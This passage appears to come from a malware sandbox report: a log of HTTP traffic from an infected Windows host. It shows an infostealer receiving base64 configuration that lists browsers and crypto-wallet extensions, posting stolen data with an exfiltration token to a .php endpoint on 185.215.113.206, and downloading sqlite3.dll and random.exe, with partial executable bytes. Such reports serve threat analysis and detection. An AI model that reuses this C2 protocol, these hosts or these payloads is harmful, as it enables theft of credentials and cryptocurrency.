6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 14:11:40.743356943 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 14:11:40.746361017 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"plugins------DBFBFBGDBKJJKFIEHJDB--
Nov 21, 2024 14:11:41.203408003 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 14:11:41.203425884 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 21, 2024 14:11:41.203435898 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 21, 2024 14:11:41.203447104 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 21, 2024 14:11:41.203457117 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 21, 2024 14:11:41.203468084 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 21, 2024 14:11:41.207866907 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"fplugins------DHCBGDHIEBFHCBFHDHDH--
Nov 21, 2024 14:11:41.664473057 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 14:11:41.692897081 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ Host: 185.215.113.206 Content-Length: 6055 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 14:11:41.692956924 CET	6055	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 14:11:42.675252914 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 14:11:42.982239962 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 14:11:43.436846018 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 21, 2024 14:11:43.436918020 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 21, 2024 14:11:43.444539070 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 21, 2024 14:11:43.444555998 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49953	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:39.455099106 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 14:11:40.890110970 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:40 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Thu, 21 Nov 2024 12:58:49 GMT Connection: keep-alive ETag: "673f2e89-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 81 2e 3f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL.?g"dw@p]@@@d\|@Tu4@.text `.rdata@@.datalpH@.rsrcT@@@.relocuv@B
Nov 21, 2024 14:11:40.890130997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 21, 2024 14:11:40.890151024 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 21, 2024 14:11:40.890196085 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 21, 2024 14:11:40.890208006 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 21, 2024 14:11:40.890280962 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 21, 2024 14:11:40.890291929 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 21, 2024 14:11:40.890302896 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 21, 2024 14:11:40.890314102 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 21, 2024 14:11:40.890326023 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 21, 2024 14:11:41.010874987 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

